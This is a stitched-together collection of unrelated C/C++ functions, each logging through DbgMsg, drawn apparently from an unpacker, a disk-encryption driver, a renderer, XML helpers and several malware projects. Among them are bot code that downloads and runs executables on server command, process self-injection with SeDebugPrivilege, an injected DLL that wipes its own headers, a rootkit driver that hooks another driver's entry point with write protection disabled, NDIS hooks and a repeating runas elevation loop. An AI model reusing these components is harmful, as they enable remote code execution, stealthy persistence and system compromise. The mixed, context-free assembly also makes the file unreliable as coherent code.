VOID MakeConsole(VOID) { DWORD dwMode; struct _CONSOLE_SCREEN_BUFFER_INFO sbi; HANDLE hStd; FILE *fStream; //if (!InitializeCriticalSectionAndSpinCount(&CriticalSection, 0x00000400)) { // DbgMsg("[-] InitializeCriticalSectionAndSpinCount failed : %lu\n", GetLastError()); //} //InitializeCriticalSection(&CriticalSection); InitCriticalSection(); if (!AllocConsole()) { FreeConsole(); if (!AllocConsole()) { DbgMsg("[+] AllocConsole() failed : %lu\n", GetLastError()); } } hStd = GetStdHandle(STD_OUTPUT_HANDLE); GetConsoleMode(hStd, (LPDWORD)&dwMode); SetConsoleMode(hStd, dwMode & 0xFFFFFFEF); GetConsoleScreenBufferInfo(hStd, &sbi); sbi.dwSize.Y = 500; SetConsoleScreenBufferSize(hStd, sbi.dwSize); freopen_s(&fStream, "conin$", "r", stdin); freopen_s(&fStream, "conout$", "w", stdout); freopen_s(&fStream, "conout$", "w", stderr); }
//-------------------------------------------------------------------------------------- PyObject *init(PyObject* self, PyObject* pArgs) { PyObject *Ret = Py_None; Py_INCREF(Py_None); // check for allready initialized case if (m_dwThreadId > 0) { DbgMsg(__FILE__, __LINE__, __FUNCTION__"() WARNING: XMLRPC server is allready running\n"); goto end; } // run XMLRPC server n the new thread HANDLE hThread = CreateThread(NULL, 0, ServerThread, NULL, 0, &m_dwThreadId); if (hThread) { CloseHandle(hThread); } else { DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError()); } end: return Ret; }
bool HookJavaApi() { DbgMsg("HookJavaApi",0,"BEFORE"); if ( HookApi( 3, 0x7506E960, (DWORD)&Hook_ShowWindow ) ) { __asm mov [Real_ShowWindow], eax DbgMsg("HookJavaApi",0,"Hook_ShowWindow"); } if ( HookApi( 3, 0x9D2F45DB, (DWORD)&Hook_GetMessagePos) ) { __asm mov [Real_GetMessagePos], eax } if ( HookApi( 3, 0x85F352BD, (DWORD)&Hook_WindowFromPoint) ) { __asm mov [Real_WindowFromPoint], eax } int r1 = GetTickCount(); int r2 = GetTickCount(); int r = r1 / ((r2 - r1) &0xffff0000); DbgMsg("HookJavaApi",r,"AFTER"); return true; }
void GetTokenFromIndexValueFromBooleanEOL (ParseVarsType *pParseVars,ParamType param) { int value; param; /* to eliminate not used warning */ #if DEBUGOUTPUT DbgMsg("GetTokenFromIndexValueFromBooleanEOLin=%hs\n", pParseVars->pInPJL_Local); #endif StoreToken(pParseVars, pParseVars->pCurrentList->tokenBaseValue+pParseVars->dwFoundIndex); pParseVars->pCurrentKeywords = FALSEandTRUEKeywords; if ( (value=LookForKeyword(pParseVars))==-1 ) { /* Not TRUE or FALSE */ pParseVars->status = STATUS_SYNTAX_ERROR; return; } if ( !StoreTokenValueAndAdvancePointer(pParseVars, value) ) { return; } if ( !ExpectString(pParseVars, param.lpstr) ) { return; } #if DEBUGOUTPUT DbgMsg("GetTokenFromIndexValueFromBooleanEOLout=%hs\n", pParseVars->pInPJL_Local); #endif return; }
/********************Public*Routine****************************************\ * Render * \**************************************************************************/ HRESULT CHall::Render( IDirect3DDevice9* pDevice) { HRESULT hr = S_OK; if( !pDevice ) { return E_POINTER; } try { CHECK_HR( hr = RestoreDeviceObjects( pDevice ), DbgMsg("CHall::Render: failed in RestoreDeviceObjects",hr)); if( m_pFloor ) { CHECK_HR( hr = m_pFloor->Render( pDevice ), DbgMsg("CHall::Render: failed to render the floor",hr)); } if( m_pWall ) { CHECK_HR( hr = m_pWall->Render( pDevice ), DbgMsg("CHall::Render: failed to render the wall",hr)); } } catch( HRESULT hr1 ) { hr = hr1; } return hr; }
//-------------------------------------------------------------------------------------- VOID DriverEntryContinueThread(PVOID Param) { LARGE_INTEGER Timeout = { 0 }; Timeout.QuadPart = RELATIVE(SECONDS(3)); DbgMsg(__FILE__, __LINE__, "Unloading old driver...\n"); NTSTATUS ns = ZwUnloadDriver(&m_RegistryPath); if (NT_SUCCESS(ns)) { DbgMsg(__FILE__, __LINE__, "OK\n"); } else { DbgMsg(__FILE__, __LINE__, "ZwUnloadDriver() fails; status: 0x%.8x\n", ns); } while (true) { DbgPrint(__FUNCTION__"(): I'm allive!\n"); // sleep KeDelayExecutionThread(KernelMode, FALSE, &Timeout); } }
ULONG_PTR ImportEntryModule(ULONG_PTR Start) { ULONG_PTR Current; std::map<ULONG_PTR, int> ModuleBaseMap; ULONG_PTR BaseAddr = 0; int max = 0; for (Current = Start; *(PULONG_PTR)Current != 0; Current += SIZE_IMPORT_ENTRY) { if (!IsBadReadMemory((PVOID)Current, SIZE_IMPORT_ENTRY) && !IsBadReadMemory((PVOID)*(PULONG_PTR)Current, SIZE_IMPORT_ENTRY)) { DbgMsg("[+] "HEX_FORMAT"\n", *(PULONG_PTR)Current); if (MyRtlPcToFileHeader(*(PULONG_PTR)Current, &BaseAddr) == TRUE) { ModuleBaseMap[BaseAddr] += 1; } } } for (std::map<ULONG_PTR, int>::iterator it = ModuleBaseMap.begin(); it != ModuleBaseMap.end(); ++it) { if (it->second > max) max = it->second; BaseAddr = it->first; } if (CheckIfTwiceFreq(ModuleBaseMap, max) == TRUE) { DbgMsg("[-] ImportEntryModule - NEED TO FIX MANUALLY\n"); ExitProcess(42); } return BaseAddr; }
static int dc_is_this_ssd(dev_hook *hook) { STORAGE_PROPERTY_QUERY query = { StorageDeviceSeekPenaltyProperty, PropertyStandardQuery }; DEVICE_SEEK_PENALTY_DESCRIPTOR seek = {0}; char buff[sizeof(ATA_PASS_THROUGH_EX) + sizeof(IDENTIFY_DEVICE_DATA)] = {0}; PATA_PASS_THROUGH_EX pata = pv(buff); PIDENTIFY_DEVICE_DATA idat = pv(buff + sizeof(ATA_PASS_THROUGH_EX)); int resl; resl = io_hook_ioctl(hook, IOCTL_STORAGE_QUERY_PROPERTY, &query, sizeof(query), &seek, sizeof(seek)); if ( (resl == ST_OK) && (seek.Version >= sizeof(seek)) && (seek.Size >= sizeof(seek)) ) { DbgMsg("seek.IncursSeekPenalty %d\n", seek.IncursSeekPenalty); return seek.IncursSeekPenalty == FALSE; } pata->Length = sizeof(ATA_PASS_THROUGH_EX); pata->DataBufferOffset = sizeof(ATA_PASS_THROUGH_EX); pata->DataTransferLength = sizeof(IDENTIFY_DEVICE_DATA); pata->AtaFlags = ATA_FLAGS_DATA_IN; pata->TimeOutValue = 2; pata->CurrentTaskFile[6] = IDE_COMMAND_IDENTIFY; if (io_hook_ioctl(hook, IOCTL_ATA_PASS_THROUGH, buff, sizeof(buff), buff, sizeof(buff)) != ST_OK) { return 0; } else { DbgMsg("idat->NominalMediaRotationRate %d\n", idat->NominalMediaRotationRate); } return idat->NominalMediaRotationRate == 1; }
VOID ComputeAllITSize(PIMPORTER Importer) { std::list<PMODULE>::const_iterator it_mod; std::list<PEXPORTENTRY>::const_iterator it_exp; ULONG_PTR ModuleNameLength = 0; ULONG_PTR ApiNameLength = 0; Importer->NbTotalApis = 0; for (it_mod = Importer->lModule.begin(); it_mod != Importer->lModule.end(); ++it_mod) { ModuleNameLength += strlen((*it_mod)->szModule) + 1; for (it_exp = (*it_mod)->lExport.begin(); it_exp != (*it_mod)->lExport.end(); ++it_exp) { if (!strncmp((*it_exp)->FunctionName, "Ordinal_0x", strlen("Ordinal_0x"))) { DbgMsg("[-] ORDINAL : TODO %s!%s ; 0x%08X ; "HEX_FORMAT" ; "HEX_FORMAT" at "HEX_FORMAT"\n", (*it_mod)->szModule, (*it_exp)->FunctionName, (*it_exp)->Ordinal, (*it_exp)->FunctionRVA, (*it_exp)->FunctionVA, (*it_exp)->RVA); //DebugBreak(); //ExitProcess(42); } Importer->NbTotalApis += 1; ApiNameLength += strlen((*it_exp)->FunctionName) + 1 + sizeof (WORD); } } Importer->ModulesNameLength = ModuleNameLength; Importer->APIsNameLength = ApiNameLength; Importer->TotalSizeIT = (DWORD)(Importer->ModulesNameLength + Importer->APIsNameLength + ((Importer->lModule.size() + 1) * sizeof (IMAGE_IMPORT_DESCRIPTOR))); DbgMsg("[+] Importer->ModulesNameLength : 0x%08X (%d)\n", Importer->ModulesNameLength, Importer->ModulesNameLength); DbgMsg("[+] Importer->APIsNameLength : 0x%08X (%d)\n", Importer->APIsNameLength, Importer->APIsNameLength); DbgMsg("[+] Importer->TotalSizeIT : 0x%08X (%d)\n", Importer->TotalSizeIT, Importer->TotalSizeIT); }
BOOLEAN DownloadRunExeUrl(DWORD TaskId, PCHAR FileUrl) { BOOLEAN Result = TRUE; CHAR chTempPath[MAX_PATH]; CHAR chTempName[MAX_PATH]; Protect::GetStorageFolderPath(chTempPath); GetTempFileName(chTempPath, NULL, GetTickCount(), chTempName); PathRemoveExtension(chTempName); PathAddExtension(chTempName, ".exe"); if (SUCCEEDED(URLDownloadToFile(NULL, FileUrl, chTempName, 0, NULL))) { if (WinExec(chTempName, 0) < 31) { DbgMsg(__FUNCTION__"(): WinExec: %x\n", GetLastError()); } } else { DbgMsg(__FUNCTION__"(): URLDownloadToFile: %x\n", GetLastError()); } if (TaskId) Server::SendServerAnswer(TaskId, g_CurrentServerUrl, 1, 0); return Result; }
/* kd> kb ChildEBP RetAddr Args to Child f8afdaa8 805c62ae f8afdcf0 00000000 f8afdb44 DrvHide!LoadImageNotify+0x10 f8afdac8 805a4159 f8afdcf0 00000000 f8afdb44 nt!PsCallImageNotifyRoutines+0x36 f8afdc6c 80576483 f8afdcf0 00000000 00000000 nt!MmLoadSystemImage+0x9e5 f8afdd4c 8057688f 80000378 00000001 00000000 nt!IopLoadDriver+0x371 f8afdd74 80534c02 80000378 00000000 823c63c8 nt!IopLoadUnloadDriver+0x45 f8afddac 805c6160 b286ecf4 00000000 00000000 nt!ExpWorkerThread+0x100 f8afdddc 80541dd2 80534b02 00000001 00000000 nt!PspSystemThreadStartup+0x34 00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16 */ VOID LoadImageNotify( PUNICODE_STRING FullImageName, HANDLE ProcessId, // where image is mapped PIMAGE_INFO ImageInfo) { KeWaitForMutexObject(&m_GlobalMutex, Executive, KernelMode, FALSE, NULL); // check for kernel driver if (ProcessId == 0 && ImageInfo->SystemModeImage && !m_bFreeAreaFound && IsKnownDriver(FullImageName)) { PVOID TargetImageBase = ImageInfo->ImageBase; ULONG TargetImageSize = ImageInfo->ImageSize; DbgMsg( __FILE__, __LINE__, "%d '%wZ' is at "IFMT", size: %d\n", PsGetCurrentProcessId(), FullImageName, TargetImageBase, TargetImageSize ); // check for free area at the image discardable sections if (m_bFreeAreaFound = CheckForFreeArea(TargetImageBase, &m_FreeAreaRVA, &m_FreeAreaLength)) { m_FreeAreaVA = RVATOVA(TargetImageBase, m_FreeAreaRVA); DbgMsg(__FILE__, __LINE__, "Free area found!\n"); // hook image entry point HookImageEntry(TargetImageBase); } } KeReleaseMutex(&m_GlobalMutex, FALSE); }
BOOL SearchBinaryAllCall(ULONG_PTR BaseAddress, ULONG_PTR OEP) { DWORD VirtualAddr; DWORD VirtualSize; PBYTE pActual; if (pinfo.lModule.size() == 0) { InitIATStuff(); } VirtualAddr = (DWORD)GetSectionInfo(BaseAddress, OEP - BaseAddress, SEC_VIRT_ADDR); if (VirtualAddr == 0) { DbgMsg("[-] SearchAutoIAT - GetSectionInfo failed\n"); return FALSE; } VirtualSize = (DWORD)GetSectionInfo(BaseAddress, OEP - BaseAddress, SEC_VIRT_SIZE); if (VirtualSize == 0) { DbgMsg("[-] SearchAutoIAT - GetSectionInfo failed\n"); return FALSE; } for (pActual = (PBYTE)(BaseAddress + VirtualAddr); pActual < (PBYTE)(BaseAddress + VirtualAddr + VirtualSize); pActual++) { LookIndirectCallImport(pActual); LookDirectCallImport(pActual); } return TRUE; }
/** * загрузка и парсинг xml документа * @param data текст загружаемого xml докуммента * @return TRUE если всё ОК, FALSE в случае ошибки */ BOOL XmlLoad(PWSTR lpwcData, IXMLDOMDocument **pXMLDoc, IXMLDOMNode **pIDOMRootNode, PWSTR lpwcRootNodeName) { BOOL bOk = FALSE; VARIANT_BOOL status; // initialize COM HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hr)) { DbgMsg(__FILE__, __LINE__, "CoInitializeEx() ERROR 0x%.8x\n", hr); return FALSE; } // create new msxml document instance hr = CoCreateInstance(CLSID_DOMDocument, NULL, CLSCTX_INPROC_SERVER, IID_IXMLDOMDocument, (void **)pXMLDoc); if (FAILED(hr)) { DbgMsg(__FILE__, __LINE__, "CoCreateInstance() ERROR 0x%.8x\n", hr); return FALSE; } hr = (*pXMLDoc)->loadXML(lpwcData, &status); if (status != VARIANT_TRUE) { DbgMsg(__FILE__, __LINE__, "pXMLDoc->load() ERROR 0x%.8x\n", hr); goto end; } // если xml загружен, получаем список корневых узлов // из которого получаем главный подузел 'logger' IXMLDOMNodeList *pIDOMRootNodeList; hr = (*pXMLDoc)->get_childNodes(&pIDOMRootNodeList); if (SUCCEEDED(hr)) { *pIDOMRootNode = ConfGetListNodeByName(lpwcRootNodeName, pIDOMRootNodeList); if (*pIDOMRootNode) { bOk = TRUE; } pIDOMRootNodeList->Release(); } else { DbgMsg(__FILE__, __LINE__, "pXMLDoc->get_childNodes() ERROR 0x%.8x\n", hr); } end: if (!bOk) { // произошла ошибка // освобождаем дескриптор докуммента (*pXMLDoc)->Release(); *pXMLDoc = NULL; } return bOk; }
BOOLEAN DownloadUpdateMain(DWORD TaskId, DWORD FileId, DWORD FileVersion) { BOOLEAN Result = FALSE; DWORD Size; PVOID Buffer; DWORD dwLastError; if (Config::ReadInt(CFG_DCT_MAIN_SECTION, CFG_DCT_MAIN_VERSION) < FileVersion) { if (Buffer = Server::DownloadFileById(FileId, g_CurrentServerUrl, &Size)) { if (Result = Protect::UpdateMain(Buffer, Size)) { Config::WriteInt(CFG_DCT_MAIN_SECTION, CFG_DCT_MAIN_VERSION, FileVersion); } dwLastError = GetLastError(); free(Buffer); } else { DbgMsg(__FUNCTION__"(): e2\n"); } } else { DbgMsg(__FUNCTION__"(): e1\n"); } if (TaskId) Server::SendServerAnswer(TaskId, g_CurrentServerUrl, Result, dwLastError); return Result; }
VOID PrintPeInfo(VOID) { DbgMsg("[+] PID : 0x%08X (%d)\n", GetCurrentProcessId(), GetCurrentProcessId()); DbgMsg("[+] ModuleBase : " HEX_FORMAT "\n", pinfo.ModuleBase); DbgMsg("[+] ModuleSize : 0x%08X (%d)\n", pinfo.ModuleSize, pinfo.ModuleSize); DbgMsg("[+] ModuleNbSections : 0x%08X (%d)\n", pinfo.ModuleNbSections, pinfo.ModuleNbSections); DbgMsg("[+] RVA EntryPoint : 0x%08X\n", pinfo.EntryPoint); }
BOOLEAN Inject::InjectProcess(DWORD ProcessId, HANDLE ThreadHandle) { BOOLEAN Result = FALSE; HANDLE ProcessHandle; PVOID ImageBase; DWORD ImageSize; // Если процесс не инжекчен if (Utils::CheckMutex(ProcessId, Drop::GetMachineGuid())) { ProcessHandle = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION|PROCESS_CREATE_THREAD, FALSE, ProcessId); if (!ProcessHandle) { Utils::SetPrivilege("SeDebugPrivilege", TRUE); ProcessHandle = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION|PROCESS_CREATE_THREAD, FALSE, ProcessId); } if (ProcessHandle) { // Проверяем имя процесса if (CheckProcessName(ProcessHandle)) { #ifdef _WIN64 // Если мы 64 а трагет процесс 32, конвертируем себя в 32 и инжектим if (Utils::IsWow64(ProcessHandle)) #else // Если мы 32 а а тарегт процесс 64, конвертируем себя в 64 и инжектим if (Utils::IsWow64(NtCurrentProcess()) && !Utils::IsWow64(ProcessHandle)) #endif { // Конвертируем себя из 32 в 64 либо из 64 в 32, если первый запуск и инжект (32 в 64) нужно прогрузить секции 64 по вирутальным адресам if (SecCfg::GetImageFromImage(Drop::CurrentImageBase, &ImageBase, &ImageSize, Drop::bFirstImageLoad)) { Result = InjectImageToProcess(ProcessHandle, ImageBase, ImageSize, ThreadHandle); VirtualFree(ImageBase, 0, MEM_RELEASE); } } // Если мы 64 и таргет 64 или мы 32 и таргет 32 инжектим себя else { Result = InjectImageToProcess(ProcessHandle, Drop::CurrentImageBase, Drop::CurrentImageSize, ThreadHandle); } } CloseHandle(ProcessHandle); } else { DbgMsg(__FUNCTION__"(): OpenProcess failed: %08X\r\n", GetLastError()); } } else { DbgMsg(__FUNCTION__"(): Process already injected\r\n"); } return Result; }
VOID PrintInfoImporter(PIMPORTER Importer) { std::list<PMODULE>::const_iterator it; DbgMsg("[+] nb modules : 0x%08X (%d)\n", Importer->lModule.size(), Importer->lModule.size()); for (it = Importer->lModule.begin(); it != Importer->lModule.end(); ++it) { DbgMsg("[+] %-30s has 0x%08X (%d) API\n", (*it)->szModule, (*it)->lExport.size(), (*it)->lExport.size()); } }
//-------------------------------------------------------------------------------------- PVOID GetSysInf(SYSTEM_INFORMATION_CLASS InfoClass) { NTSTATUS ns = 0; ULONG RetSize = 0, Size = 0x100; PVOID Info = NULL; GET_NATIVE(NtQuerySystemInformation); while (true) { // allocate memory for system information if ((Info = LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, Size)) == NULL) { DbgMsg(__FILE__, __LINE__, "LocalAlloc() fails\n"); return NULL; } // query information RetSize = 0; ns = f_NtQuerySystemInformation(InfoClass, Info, Size, &RetSize); if (ns == STATUS_INFO_LENGTH_MISMATCH) { // buffer is too small LocalFree(Info); Info = NULL; if (RetSize > 0) { // allocate more memory and try again Size = RetSize + 0x100; } else { break; } } else { break; } } if (!NT_SUCCESS(ns)) { DbgMsg(__FILE__, __LINE__, "NtQuerySystemInformation() fails; status: 0x%.8x\n", ns); if (Info) { LocalFree(Info); } return NULL; } return Info; }
/** * получение xml-узла из списка по его имени * @param NodeName имя искомого узла * @param pIDOMNodeList дескриптор списка * @return дескриптор нужного узла, или NULL в случае неудачи * @see ConfGetNodeByName() * @see ConfGetNodeText() * @see ConfGetTextByName() */ IXMLDOMNode * ConfGetListNodeByName(BSTR NodeName, IXMLDOMNodeList *pIDOMNodeList) { IXMLDOMNode *Ret = NULL; LONG len = 0; if (pIDOMNodeList == NULL) { return NULL; } HRESULT hr = pIDOMNodeList->get_length(&len); if (SUCCEEDED(hr)) { pIDOMNodeList->reset(); for (int i = 0; i < len; i++) { IXMLDOMNode *pIDOMChildNode = NULL; hr = pIDOMNodeList->get_item(i, &pIDOMChildNode); if (SUCCEEDED(hr)) { BSTR ChildNodeName = NULL; hr = pIDOMChildNode->get_nodeName(&ChildNodeName); if (SUCCEEDED(hr)) { if (!wcscmp(NodeName, ChildNodeName)) { Ret = pIDOMChildNode; } } if (ChildNodeName) { SysFreeString(ChildNodeName); } if (Ret) { return Ret; } pIDOMChildNode->Release(); pIDOMChildNode = NULL; } else { DbgMsg(__FILE__, __LINE__, "pIDOMNodeList->get_item() ERROR 0x%.8x\n", hr); } } } else { DbgMsg(__FILE__, __LINE__, "pIDOMNodeList->get_length() ERROR 0x%.8x\n", hr); } return NULL; }
//-------------------------------------------------------------------------------------- BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { char szProcessPath[MAX_PATH], szProcessUser[MAX_PATH]; DWORD dwUserLen = MAX_PATH; GetModuleFileName(GetModuleHandle(NULL), szProcessPath, MAX_PATH); GetUserName(szProcessUser, &dwUserLen); DbgMsg( __FILE__, __LINE__, __FUNCTION__"(): Injected into process \"%s\" (PID=%d), User = \"%s\"\n", szProcessPath, GetCurrentProcessId(), szProcessUser ); PIMAGE_NT_HEADERS32 pHeaders = (PIMAGE_NT_HEADERS32) ((PUCHAR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew); DWORD dwOldProt = 0; if (VirtualProtect(hModule, pHeaders->OptionalHeader.SizeOfHeaders, PAGE_READWRITE, &dwOldProt)) { // erase image headers my_memset(hModule, 0, pHeaders->OptionalHeader.SizeOfHeaders); } // run payload in separate thread HANDLE hThread = CreateThread(NULL, 0, MainThread, (PVOID)hModule, 0, NULL); if (hThread) { CloseHandle(hThread); } else { DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError()); } break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: { break; } } return TRUE; }
VOID BuildIT(PBYTE pDump, ULONG_PTR RVAIT) { std::list<PMODULE>::const_iterator it_mod; std::list<PEXPORTENTRY>::const_iterator it_exp; PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor; PBYTE ModuleName; ULONG_PTR RVAModuleName; DWORD dwStartIAT; ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pDump + RVAIT); ModuleName = (pDump + RVAIT) + (sizeof (IMAGE_IMPORT_DESCRIPTOR) * (pinfo.Importer.lModule.size() + 1)); RVAModuleName = RVAIT + (sizeof (IMAGE_IMPORT_DESCRIPTOR) * (pinfo.Importer.lModule.size() + 1)); dwStartIAT = (DWORD)pinfo.Importer.StartIATRVA; for (it_mod = pinfo.Importer.lModule.begin(); it_mod != pinfo.Importer.lModule.end(); ++it_mod) { ImportDescriptor->Name = (DWORD)RVAModuleName; ImportDescriptor->OriginalFirstThunk = 0; ImportDescriptor->TimeDateStamp = 0; ImportDescriptor->ForwarderChain = 0; ImportDescriptor->FirstThunk = dwStartIAT; memcpy(ModuleName, (*it_mod)->szModule, strlen((*it_mod)->szModule)); ModuleName += strlen((*it_mod)->szModule) + 1; RVAModuleName += (DWORD)strlen((*it_mod)->szModule) + 1; for (it_exp = (*it_mod)->lExport.begin(); it_exp != (*it_mod)->lExport.end(); ++it_exp) { if (*(PULONG_PTR)(pDump + dwStartIAT) == 0) { DbgMsg("[-] BuildIT - Entry NULL at "HEX_FORMAT"\n", pDump + dwStartIAT); ExitProcess(42); } if (*(PULONG_PTR)(pDump + dwStartIAT) != (*it_exp)->FunctionVA) { DbgMsg("[-] BuildIT - Fail FunctionVA at "HEX_FORMAT"\n", pDump + dwStartIAT); ExitProcess(42); } if (!strncmp((*it_exp)->FunctionName, "Ordinal_0x", strlen("Ordinal_0x"))) { #ifdef _WIN64 *(PULONG_PTR)(pDump + dwStartIAT) = (((ULONG_PTR)1u << 63) | (*it_exp)->Ordinal); #else *(PULONG_PTR)(pDump + dwStartIAT) = (((ULONG_PTR)1u << 31) | (*it_exp)->Ordinal); #endif } else { *(PULONG_PTR)(pDump + dwStartIAT) = RVAModuleName; } memcpy(ModuleName, &(*it_exp)->Ordinal, 2); ModuleName += 2; RVAModuleName += 2; memcpy(ModuleName, (*it_exp)->FunctionName, strlen((*it_exp)->FunctionName)); ModuleName += strlen((*it_exp)->FunctionName) + 1; RVAModuleName += strlen((*it_exp)->FunctionName) + 1; dwStartIAT += sizeof (ULONG_PTR); } ImportDescriptor++; dwStartIAT += sizeof (ULONG_PTR); } }
static void dc_simple_encryption_test() { PXTS_TEST_CONTEXT ctx; unsigned char dk[256]; unsigned long e_crc, d_crc, i; // test PKDBF2 for (i = 0; i < (sizeof(pkcs5_vectors) / sizeof(pkcs5_vectors[0])); i++) { sha512_pkcs5_2(pkcs5_vectors[i].i_count, pkcs5_vectors[i].password, strlen(pkcs5_vectors[i].password), pkcs5_vectors[i].salt, strlen(pkcs5_vectors[i].salt), dk, pkcs5_vectors[i].dklen); if (memcmp(dk, pkcs5_vectors[i].key, pkcs5_vectors[i].dklen) != 0) { KeBugCheckEx(STATUS_ENCRYPTION_FAILED, 'DCRP', i, 0, 0); } } DbgMsg("PKDBF2 test passed\n"); // test XTS engine if memory may be allocated if ( (KeGetCurrentIrql() <= DISPATCH_LEVEL) && (ctx = (PXTS_TEST_CONTEXT)mm_secure_alloc(sizeof(XTS_TEST_CONTEXT))) != NULL ) { // fill key and test buffer for (i = 0; i < (sizeof(ctx->key) / sizeof(ctx->key[0])); i++) ctx->key[i] = (unsigned char)i; for (i = 0; i < (sizeof(ctx->test) / sizeof(ctx->test[0])); i++) ctx->test[i] = (unsigned short)i; // run test cases for (i = 0; i < (sizeof(xts_crc_vectors) / sizeof(xts_crc_vectors[0])); i++) { xts_set_key(ctx->key, xts_crc_vectors[i].alg, &ctx->xkey); xts_encrypt((const unsigned char*)ctx->test, (unsigned char*)ctx->buff, sizeof(ctx->test), 0x3FFFFFFFC00, &ctx->xkey); e_crc = crc32((const unsigned char*)ctx->buff, sizeof(ctx->buff)); xts_decrypt((const unsigned char*)ctx->test, (unsigned char*)ctx->buff, sizeof(ctx->test), 0x3FFFFFFFC00, &ctx->xkey); d_crc = crc32((const unsigned char*)ctx->buff, sizeof(ctx->buff)); if ( e_crc != xts_crc_vectors[i].e_crc || d_crc != xts_crc_vectors[i].d_crc ) { KeBugCheckEx(STATUS_ENCRYPTION_FAILED, 'DCRP', 0xFF00 | i, e_crc, d_crc); } } DbgMsg("XTS test passed\n"); mm_secure_free(ctx); } }
VOID PrintExportEntry(std::list<PEXPORTENTRY> lExport) { std::list<PEXPORTENTRY>::const_iterator it; #if _WIN64 DbgMsg("Name FunctionVA FunctionRVA Ordinal\n"); DbgMsg("================================================== ================== =========== =========\n"); #else DbgMsg("Name FunctionVA FunctionRVA Ordinal\n"); DbgMsg("================================================== ========== =========== =========\n"); #endif for (it = lExport.begin(); it != lExport.end(); ++it) { DbgMsg("%-50s " HEX_FORMAT " 0x%08X 0x%04X\n", (*it)->FunctionName, (*it)->FunctionVA, (*it)->FunctionRVA, (*it)->Ordinal); } }
//-------------------------------------------------------------------------------------- void HookImageEntry(PVOID Image) { PIMAGE_NT_HEADERS32 pHeaders = (PIMAGE_NT_HEADERS32) ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew); PUCHAR Entry = (PUCHAR)RVATOVA(Image, pHeaders->OptionalHeader.AddressOfEntryPoint); // save original code from image entry point memcpy(m_EpOriginalBytes, Entry, EP_PATCH_SIZE); m_HookedEntry = (DRIVER_INITIALIZE *)Entry; // disable memory write protection ClearWp(); #ifdef _X86_ // patch image entry point *(PUCHAR)(Entry + 0) = 0x68; *(PVOID*)(Entry + 1) = NewDriverEntry; *(PUCHAR)(Entry + 5) = 0xC3; #else // _X86_ #error __FUNCTION__ is x86 only #endif // _X86_ // enable memory write protection SetWp(); DbgMsg( __FUNCTION__"(): Image entry point hooked ("IFMT" -> "IFMT")\n", Entry, NewDriverEntry ); }
VOID aRestartModuleShellExec(PCHAR FilePath) { SHELLEXECUTEINFO sei = {0}; CHAR TempPath[MAX_PATH]; CHAR TempName[MAX_PATH]; PVOID Buffer; DWORD Size; if (!StrStrI(FilePath, ".exe")) { Protect::GetStorageFolderPath(TempPath); GetTempFileName(TempPath, NULL, GetTickCount(), TempName); PathRemoveExtension(TempName); PathAddExtension(TempName, ".exe"); if (Buffer = Utils::FileRead(FilePath, &Size)) { if (Utils::FileWrite(TempName, CREATE_ALWAYS, Buffer, Size)) { FilePath = TempName; } } } sei.cbSize = sizeof(sei); sei.lpFile = FilePath; sei.lpVerb = "runas"; sei.hwnd = GetForegroundWindow(); while (!ShellExecuteEx(&sei)) { DbgMsg(__FUNCTION__"(): ShellExecuteEx error: %x\n", GetLastError()); Sleep(3000); } }
//-------------------------------------------------------------------------------------- void DriverEntryInitializePayload(PUCHAR PointerFixup) { /* Perform payload initialization here */ NdisHookSet(PointerFixup); // allocate memory for payload in non-paged pool ULONG PayloadSize = sizeof(dll); PVOID Payload = ExAllocatePool(NonPagedPool, PayloadSize); if (Payload) { RtlCopyMemory(Payload, dll, sizeof(dll)); PULONG pPayloadSize = (PULONG)RECALCULATE_POINTER(&m_PayloadSize); PVOID *pPayload = (PVOID *)RECALCULATE_POINTER(&m_Payload); *pPayloadSize = PayloadSize; *pPayload = Payload; } else { DbgMsg("ExAllocatePool() fails\n"); } }
VOID AddNewApi(PMODULE Module, PEXPORTENTRY Export, ULONG_PTR RVA) { std::list<PEXPORTENTRY>::const_iterator it; BOOL Found = FALSE; PEXPORTENTRY Exp; for (it = Module->lExport.begin(); it != Module->lExport.end(); ++it) { if (Export->FunctionVA == (*it)->FunctionVA) { Found = TRUE; break; } } if (Found == FALSE) { Exp = new EXPORTENTRY(); if (Exp == NULL) { DbgMsg("[-] AddNewApi - malloc failed\n"); ExitProcess(42); } Exp->Ordinal = Export->Ordinal; Exp->FunctionRVA = Export->FunctionRVA; Exp->FunctionVA = Export->FunctionVA; Exp->isRedirect = Export->isRedirect; Exp->RVA = RVA; memcpy(Exp->FunctionName, Export->FunctionName, sizeof (Export->FunctionName)); Module->lExport.push_back(Exp); } }
VOID AddNewModule(PIMPORTER Importer, PMODULE Module) { std::list<PMODULE>::const_iterator it; BOOL Found = FALSE; PMODULE mo; for (it = Importer->lModule.begin(); it != Importer->lModule.end(); ++it) { if (Module->modBaseAddr == (*it)->modBaseAddr) { Found = TRUE; break; } } if (Found == FALSE) { mo = new MODULE(); if (mo == NULL) { DbgMsg("[-] AddNewModule - malloc failed\n"); ExitProcess(42); } mo->dwSize = Module->dwSize; mo->th32ModuleID = Module->th32ModuleID; mo->th32ProcessID = Module->th32ProcessID; mo->GlblcntUsage = Module->GlblcntUsage; mo->ProccntUsage = Module->ProccntUsage; mo->modBaseAddr = Module->modBaseAddr; mo->modBaseSize = Module->modBaseSize; mo->hModule = Module->hModule; memcpy(mo->szModule, Module->szModule, sizeof (Module->szModule)); memcpy(mo->szExePath, Module->szExePath, sizeof (Module->szExePath)); Importer->lModule.push_back(mo); } }
